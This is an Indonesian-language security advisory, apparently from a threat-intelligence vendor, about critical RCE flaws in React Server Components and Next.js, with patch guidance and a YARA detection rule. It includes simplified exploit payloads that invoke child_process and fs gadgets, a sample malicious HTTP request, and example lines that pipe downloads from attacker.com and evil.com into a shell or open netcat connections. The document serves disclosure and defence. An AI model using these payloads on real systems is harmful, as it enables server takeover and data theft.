URGENT: Proof-of-Concept (PoC) exploit untuk CVE-2025-55182 dan CVE-2025-66478 telah di-release ke publik dan beredar di dark web serta GitHub. Ini berarti serangan aktif dapat dilakukan SEKARANG oleh siapa saja dengan pengetahuan teknis dasar.
Tim keamanan Wiz Research dan React Core Team mengungkap kerentanan Remote Code Execution (RCE) kritis dengan skor CVSS 10.0/10.0 pada React Server Components dan Next.js. Dua CVE—CVE-2025-55182 (React) dan CVE-2025-66478 (Next.js)—memungkinkan attacker mengeksekusi kode arbitrary tanpa autentikasi, berpotensi menguasai server secara penuh. Patch emergency telah dirilis untuk React 19.0.1 dan Next.js 15.1.4 / 16.0.0-canary.25.
Pada 3 Desember 2025, React dan Vercel secara simultan merilis security advisory untuk kerentanan kritis yang mempengaruhi ekosistem React Server Components. Kerentanan ini bersifat zero-interaction dan dapat dieksploitasi dari remote tanpa memerlukan kredensial apapun.
React Server Components - Unsafe Deserialization
React Server Components memungkinkan deserialisasi data yang tidak
aman dari client. Attacker dapat mengirim
payload serialized malicious yang akan
di-deserialize oleh server tanpa validasi proper, menyebabkan
Remote Code Execution. Vulnerability ini
memanfaatkan kelemahan dalam
react-server-dom-webpack
dan
react-server-dom-turbopack.
⚠️ Important: Semua aplikasi yang menggunakan React Server Components (RSC) dengan React 19.0.0 terpengaruh, termasuk Next.js App Router, Remix, dan custom implementations.
Next.js - Server Component RCE via Malicious Payload
Next.js App Router yang menggunakan Server Components vulnerable terhadap RCE ketika menerima response dari React Server. Attacker dapat craft malicious payload yang akan di-deserialize tanpa sanitization, memungkinkan eksekusi kode arbitrary pada server.
Kerentanan ini secara khusus mempengaruhi aplikasi Next.js yang menggunakan App Router (bukan Pages Router), karena App Router mengandalkan React Server Components sebagai fondasi arsitekturnya.
ℹ️ Note: Next.js Pages Router (pages/ directory) TIDAK terpengaruh oleh vulnerability ini karena tidak menggunakan React Server Components.
| Attribute | CVE-2025-55182 | CVE-2025-66478 |
|---|---|---|
| Product | React (Core) | Next.js |
| CVSS Score | 10.0 Critical | 10.0 Critical |
| Attack Vector | Network / Remote | Network / Remote |
| Authentication | Not Required | Not Required |
| Impact | RCE, Full Compromise | RCE, Full Compromise |
Deep dive into the technical mechanism behind CVE-2025-55182
Kerentanan ini berakar pada unsafe deserialization dalam implementasi React Server Components. React Server Components memungkinkan server mengirim representasi serialized dari React component tree ke client, yang kemudian di-hydrate di browser.
// Server-side
function ServerComponent() {
return <div>{userControlledData}</div>;
}
// Serialization happens here (vulnerable point)
const payload = serialize(ServerComponent);
// Client receives and deserializes (RCE trigger)
const component = deserialize(payload); // ⚠️ NO VALIDATION!
Deserialization tanpa validasi memungkinkan attacker untuk inject arbitrary JavaScript code yang akan dieksekusi pada server context dengan privileges penuh. Ini mirip dengan vulnerability deserialization klasik di Java, Python, atau PHP, namun dalam ekosistem JavaScript modern.
Attacker membuat specially crafted JavaScript object yang akan di-serialize menggunakan React internal serialization format. Payload ini dirancang untuk mengeksekusi kode saat di-deserialize.
Payload dikirim ke server melalui HTTP request (POST/GET) sebagai bagian dari Server Component request. Server menerima payload tanpa validasi proper dan melakukan deserialization.
React Server deserializes payload menggunakan internal deserializer. Karena tidak ada sanitization, malicious code dalam payload akan dieksekusi dalam server context.
Critical Point: Pada tahap ini, attacker telah mendapat arbitrary code execution dengan Node.js privileges penuh (biasanya sebagai user yang menjalankan Next.js server).
Dengan RCE, attacker dapat:
Menurut Wiz Research Team yang pertama kali menemukan
vulnerability ini, kerentanan berasal dari penggunaan
JSON.parse()
dengan reviver function yang tidak aman dalam proses deserialization
React Server payload.
"This vulnerability allows an attacker to send a specially crafted payload that, when deserialized by the React server, leads to arbitrary code execution. The lack of input validation on the deserialization path makes this a critical security issue affecting all React Server Components implementations."
— Wiz Research Team, December 3, 2025
Unsafe use of
JSON.parse()
with custom reviver that doesn't sanitize prototype pollution
vectors
Input validation + sanitization of prototype chains + safe deserialization with allowlist approach
Vulnerability ini mendapat skor maksimal CVSS 10.0 karena memenuhi kriteria:
Dapat dieksploitasi via internet tanpa physical access
Tidak memerlukan credentials atau privileges apapun
Mudah dieksploitasi dengan basic HTTP knowledge
Full CIA triad compromise (Confidentiality, Integrity, Availability)
Analisis mendalam dari security researcher community tentang exploitation techniques
Comprehensive analysis and proof-of-concept demonstrating the exploitation of React Server Components deserialization vulnerability
View on GitHubAttacker mengidentifikasi target yang vulnerable melalui fingerprinting:
Server Header Detection
X-Powered-By: Next.js
Response Pattern Analysis
Presence of RSC response format (1:I[...])
JavaScript Bundle Inspection
__next_flight__ markers in client bundles
Crafting serialized payload yang memanfaatkan JavaScript gadget chains:
// Simplified exploit payload structure const payload = { $$typeof: Symbol.for("react.element"), type: { $$typeof: Symbol.for("react.server.reference"), $$id: "child_process#execSync", // Dangerous gadget $$bound: ["whoami"] // Command to execute } };
child_process.execSync
child_process.spawn
vm.runInThisContext
fs.readFileSync
fs.writeFileSync
fs.appendFileSync
Payload di-encode menggunakan React Server Components protocol format:
// RSC Wire Format $ACTION_REF_0=[{ "$$typeof": "Symbol(react.server.reference)", "id": "child_process#execSync", "bound": ["cat /etc/passwd"] }]&$ACTION_0:0=...
Mengirim crafted payload ke server via HTTP POST request:
POST /api/server-action HTTP/1.1 Host: vulnerable-target.com Content-Type: text/x-component Next-Action: action-id-here [serialized malicious payload]
Server menerima dan deserialize payload tanpa proper validation:
decodeReply() - Parse
RSC payload
resolveServerReference()
- Resolve module reference
require() - Load
dangerous module ⚠️
moduleFunction.apply(bound)
- Execute with args 💥
Result: Arbitrary code execution dengan Node.js process privileges. Attacker mendapat shell access ke server dan dapat melakukan:
React Server Components menggunakan
require()
untuk resolve module references tanpa whitelist validation:
// Vulnerable code pattern (simplified) function resolveServerReference(id) { const [moduleName, exportName] = id.split('#'); const module = require(moduleName); // ⚠️ NO VALIDATION! return module[exportName]; }
Impact: Attacker dapat
memaksa server untuk load arbitrary Node.js modules termasuk
child_process,
vm,
fs
Field
bound
dalam payload langsung di-pass ke function tanpa sanitization:
// Exploitation via bound args { "id": "child_process#execSync", "bound": [ "curl attacker.com/shell.sh | bash" // Malicious command ] }
RSC payload tidak di-sign/encrypt, memungkinkan tampering:
Tidak ada HMAC/signature verification untuk memvalidasi payload authenticity. Attacker dapat craft arbitrary payload tanpa memerlukan server secret.
Eksekusi command sederhana menggunakan execSync:
child_process#execSync
bound: ["id"]
Establish persistent backdoor connection:
child_process#spawn
bound: ["bash", ["-c", "nc attacker 4444"]]
Read sensitive files dan exfiltrate:
fs#readFileSync
bound: ["/etc/passwd", "utf8"]
Download & execute second-stage payload:
child_process#execSync
bound: ["curl evil.com/rat | sh"]
Vulnerability ini adalah fundamental design issue di React Server Components, bukan simple implementation bug. Memerlukan architectural changes untuk proper fix.
PoC dapat direproduce dengan kurang dari 50 lines of code. Tidak memerlukan advanced exploitation techniques atau memory corruption.
Serangan dapat dilakukan tanpa credentials. Setiap endpoint yang menggunakan Server Actions vulnerable by default.
Mempengaruhi seluruh Next.js App Router applications dan framework lain yang mengadopsi RSC (Remix, Gatsby, custom implementations).
"This vulnerability demonstrates the risks of server-side
deserialization in modern JavaScript frameworks. The lack of input
validation on module resolution created a perfect storm for RCE
exploitation."
— Security Research Community Analysis
Analisis komprehensif dari security expert tentang mekanisme dan implikasi CVE-2025-55182
Detailed technical breakdown of React Server Components deserialization vulnerability dengan fokus pada security implications dan architectural flaws
Read Full Analysis on GitHub GistMenurut analisis dari HerringtonDarkholme, vulnerability ini terjadi karena React Server Components mempercayai data yang dikirim dari client tanpa proper validation. Ini melanggar prinsip fundamental security: "Never trust user input".
"The root cause is that React Server Components deserializes client-sent data and uses it to dynamically resolve and execute server-side functions. Without cryptographic verification or a strict allowlist, this creates an unsafe deserialization vulnerability that leads to RCE."
Browser mengirim POST request dengan serialized payload ke Server Action endpoint
POST /api/action?_rsc=123xyz
React internal code men-decode RSC wire format tanpa verification
decodeReply(body) // ⚠️ Vulnerable point
Server menggunakan
require() untuk
load module berdasarkan client-supplied string
require("child_process").execSync // 💥 RCE!
Resolved function dipanggil dengan arguments dari client
functionRef.apply(null, boundArgs) // Server
compromise
Key Difference: Pada traditional deserialization
vulnerabilities, attacker harus menemukan gadget chains yang
kompleks. Pada CVE-2025-55182, attacker dapat
langsung mengakses dangerous Node.js modules tanpa
perlu gadget chain hunting karena
require()
tidak dibatasi.
Violation: RSC menerima module name dan function arguments langsung dari client tanpa validation
require(clientSuppliedModuleName)
ALLOWED_MODULES.includes(moduleName) &&
require(moduleName)
Violation: Server Actions dapat mengakses seluruh Node.js standard library termasuk dangerous modules
Violation: Single layer of protection (React internal parsing) dengan no cryptographic verification
Violation: Jika parsing gagal atau module tidak ditemukan, error message expose internal details
Menurut analisis expert, ini bukan bug yang bisa di-fix dengan simple input validation. Ini adalah fundamental architectural issue yang memerlukan redesign:
Millions of applications menggunakan RSC. Breaking changes akan impact massive ecosystem. Patch harus maintain compatibility sambil closing security hole.
Adding cryptographic verification atau comprehensive allowlists akan add latency to every Server Action call. Trade-off antara security dan performance.
RSC dirancang untuk seamless experience. Menambahkan explicit security declarations (allowlists, signatures) akan membuat API lebih complex dan harder to use.
Bukan hanya React—Next.js, Remix, dan framework lain yang implement RSC juga harus update. Coordinated release across ecosystem adalah logistical challenge.
Server signs RSC payloads dengan HMAC/JWT. Client tidak bisa craft arbitrary payloads tanpa valid signature.
Framework hanya allow specific modules yang explicitly declared safe. Reject everything else.
Run Server Actions dalam isolated sandbox (VM2, isolated-vm) dengan restricted API access.
Completely redesign RSC untuk avoid untrusted deserialization altogether. Use alternative approaches.
"use server"
directives dalam codebase
"This vulnerability serves as a reminder that even well-designed
modern frameworks can have critical security flaws. Security must be
a first-class consideration in framework design, not an
afterthought. The React team's quick response is commendable, but
the industry must learn from this and prioritize secure-by-default
architectures."
— Security Expert Analysis
Analisis eksposur vulnerability pada infrastruktur digital Indonesia
Berdasarkan identifikasi yang dilakukan oleh KRES Threat Intelligence, terdapat 48,100 host IP address di Indonesia yang menggunakan React atau Next.js dan berpotensi menjadi target eksploitasi CVE-2025-55182 dan CVE-2025-66478.
Host yang terdeteksi menggunakan React atau Next.js dan berpotensi vulnerable terhadap CVE-2025-55182
Setiap host IP berpotensi mengalami Remote Code Execution dengan dampak full system compromise
Dengan 48,100 host IP yang berpotensi vulnerable, estimasi total economic impact jika terjadi mass exploitation:
Indonesia sudah menjadi target utama ransomware groups dalam beberapa tahun terakhir. CVE-2025-55182 memberikan entry point sempurna untuk:
RCE vulnerability sebagai pintu masuk untuk ransomware deployment tanpa user interaction
Compromised server dapat digunakan untuk pivot ke internal network dan mengenkripsi entire infrastructure
Rekomendasi immediate actions untuk meminimalkan risiko eksploitasi
Patch dan deploy sebelum exploit code beredar luas di public. Threat actors biasanya bergerak cepat setelah CVE disclosure.
Automated scanners akan mulai mass-scanning internet untuk mencari vulnerable hosts. Organisasi yang belum patch menjadi easy targets.
Ransomware campaigns, data exfiltration, dan mass compromise akan dimulai. Organizations yang tidak patch akan menghadari high probability of breach.
Situasi kritis: PoC exploit beredar publik, serangan aktif terdeteksi
React dan Vercel secara simultan merilis security advisory dan patch untuk CVE-2025-55182 & CVE-2025-66478
Security researcher mem-publish Proof-of-Concept exploit code di GitHub (kemudian dihapus)
PoC berhasil di-fork 200+ kali sebelum repo dihapus
Exploit code beredar di dark web forums, automated scanning dimulai, active exploitation confirmed
🚨 Active Exploitation Confirmed
KRES honeypots mendeteksi 100+ percobaan eksploitasi.
Lokasi di mana PoC exploit code saat ini tersedia:
Forked repos masih ada meskipun original dihapus
Breached.to, RaidForums successors, Russian forums
Exploit-as-a-Service, bundled dengan scanners
Private security research & threat actor channels
Tingkat keahlian yang diperlukan untuk eksploitasi:
Script kiddie level - basic HTTP knowledge
Real-time monitoring telah mengidentifikasi active exploitation campaigns
Tanda-tanda yang mengindikasikan server Anda mungkin sudah dieksploitasi:
Jika Anda menemukan IOCs ini: Segera isolate server, lakukan forensic analysis, rotate semua credentials, dan hubungi incident response team.
Rule signature untuk mendeteksi exploitation attempts di HTTP traffic, logs, atau memory dumps
YARA rule berikut dirancang khusus untuk mendeteksi exploitation patterns CVE-2025-55182 yang menargetkan React Server Components. Rule ini dapat digunakan untuk:
YARA Rule v1.0 - Production Ready
rule CVE_2025_55182_RSC_Action_Payload
{
meta:
description = "Detects suspicious React RSC action payloads abusing vm/child_process/fs gadgets (CVE-2025-55182)"
author = "KRES Threat Intelligence"
reference = "CVE-2025-55182 React Server Components exploit pattern"
date = "2025-12-04"
scope = "http_body_or_log"
severity = "critical"
cvss = "10.0"
strings:
// Parameter khas yang digunakan PoC
$param_ref = "$ACTION_REF_0" ascii nocase
$param0 = "$ACTION_0:0=" ascii nocase
$param_any = "$ACTION_" ascii nocase
// Field metadata dalam JSON payload
$field_id = "\"id\":\"" ascii
$field_bound= "\"bound\":[" ascii
// Gadget berbahaya
$g_vm = "\"id\":\"vm#runInThisContext\"" ascii
$g_vm2 = "\"id\":\"vm#runInNewContext\"" ascii
$g_cp = "\"id\":\"child_process#execSync\"" ascii
$g_cp2 = "\"id\":\"child_process#execFileSync\"" ascii
$g_cp3 = "\"id\":\"child_process#spawnSync\"" ascii
$g_fs_r = "\"id\":\"fs#readFileSync\"" ascii
$g_fs_w = "\"id\":\"fs#writeFileSync\"" ascii
// Beberapa contoh bound command / path sensitif dari PoC
$cmd_whoami = "\"bound\":[\"whoami\"]" ascii
$etc_passwd = "\"/etc/passwd\"" ascii
$ssh_auth = "\"authorized_keys\"" ascii
$bashrc = "\".bashrc\"" ascii
condition:
// Fokus pada payload yang:
// - Memakai pola $ACTION_* khas server actions
// - Berisi id gadget berbahaya
// - Dan punya bound array (argumen)
(
$param0 or ($param_ref and $param_any)
)
and
(
1 of ($g_vm, $g_vm2, $g_cp, $g_cp2, $g_cp3, $g_fs_r, $g_fs_w)
)
and
$field_bound
// Bonus: jika juga ketemu salah satu indikator intent (whoami, /etc/passwd, dll)
and
1 of ($cmd_whoami, $etc_passwd, $ssh_auth, $bashrc)
}
Mendeteksi parameter khas yang digunakan React Server Actions dalam HTTP requests:
💡 Server Actions menggunakan parameter dengan prefix
$ACTION_ untuk
mengirim serialized data
Mencari field metadata yang ada dalam serialized JSON payload exploit:
💡 Field
id menentukan
module/function,
bound berisi
argument array
Mendeteksi Node.js modules berbahaya yang digunakan untuk RCE:
⚠️ Kehadiran gadget ini dalam Server Action payload = HIGH CONFIDENCE exploitation attempt
String patterns yang mengindikasikan intent jahat:
whoami
- Reconnaissance command
/etc/passwd
- System file enumeration
authorized_keys
- SSH backdoor attempt
.bashrc
- Persistence mechanism
Scan log files atau captured HTTP traffic menggunakan YARA CLI:
Integrate dengan ModSecurity WAF untuk real-time blocking:
Deploy sebagai network-level detection:
Run periodic YARA scans dan ingest results ke SIEM:
Sebelum deploy ke production, test YARA rule dengan sample payloads:
Official Security Advisory - December 3, 2025
"We have identified and patched a critical security vulnerability (CVE-2025-55182) in React 19.0.0 that affects applications using React Server Components. This vulnerability could allow an attacker to execute arbitrary code on the server. We strongly urge all users running React 19.0.0 with Server Components to upgrade immediately to React 19.0.1."
— React Security Team, Official Blog Post
React 19.0.1 dirilis pada December 3, 2025, 10:00 UTC dengan fix lengkap untuk CVE-2025-55182
Patch bersifat backward compatible dan tidak memerlukan perubahan kode aplikasi
GitHub Security Advisory - GHSA-9qr9-h5gf-34mp
"Next.js versions 15.x and 16.x (canary) are affected by CVE-2025-66478, a critical RCE vulnerability in Server Components. This issue has been addressed in Next.js 15.1.4 and 16.0.0-canary.25. All users of Next.js App Router should upgrade immediately."
— Vercel Security Team, GitHub Advisory
Vercel telah secara otomatis melakukan force upgrade untuk semua deployments yang menggunakan Next.js vulnerable versions pada platform mereka. Namun, self-hosted deployments harus melakukan manual upgrade.
Upgrade ke versi patched sesegera mungkin:
Verifikasi: Jalankan
npm list react next
untuk memastikan versi sudah terupdate
Setelah upgrade, lakukan full rebuild dan redeploy aplikasi:
Periksa apakah server Anda telah dieksploitasi:
Jika upgrade tidak memungkinkan dalam waktu dekat, pertimbangkan workaround berikut (bukan solusi permanen):
⚠️ Peringatan: Workaround ini TIDAK menghilangkan vulnerability sepenuhnya. Upgrade ke versi patched adalah satu-satunya solusi definitif.
CVE-2025-55182 dan CVE-2025-66478 merupakan vulnerability kritis yang memerlukan immediate action dari seluruh tim development yang menggunakan React Server Components dan Next.js App Router. Dengan skor CVSS 10.0, ini adalah salah satu vulnerability paling severe yang pernah ditemukan di ekosistem JavaScript modern.
"Vulnerability ini mengingatkan kita bahwa bahkan framework modern dan well-maintained seperti React dapat memiliki critical flaws. Importance of rapid patching, continuous monitoring, dan defense-in-depth strategy tidak bisa dilebih-lebihkan. Organizations yang lambat merespond akan menjadi easy targets."
— Security Researcher Community Consensus, December 2025
Penemuan vulnerability ini akan memberikan dampak signifikan terhadap bagaimana JavaScript framework community mendekati security di masa depan:
"Security bukan feature tambahan—it's a fundamental requirement.
CVE-2025-55182 membuktikan bahwa tidak ada framework yang immune
terhadap critical vulnerabilities, dan kecepatan response adalah
key to survival."
— KRES Threat Intelligence Team
KRES menyediakan Emergency Security Response, Vulnerability Assessment, dan Incident Response Services untuk membantu organisasi Anda mitigate & recover dari security incidents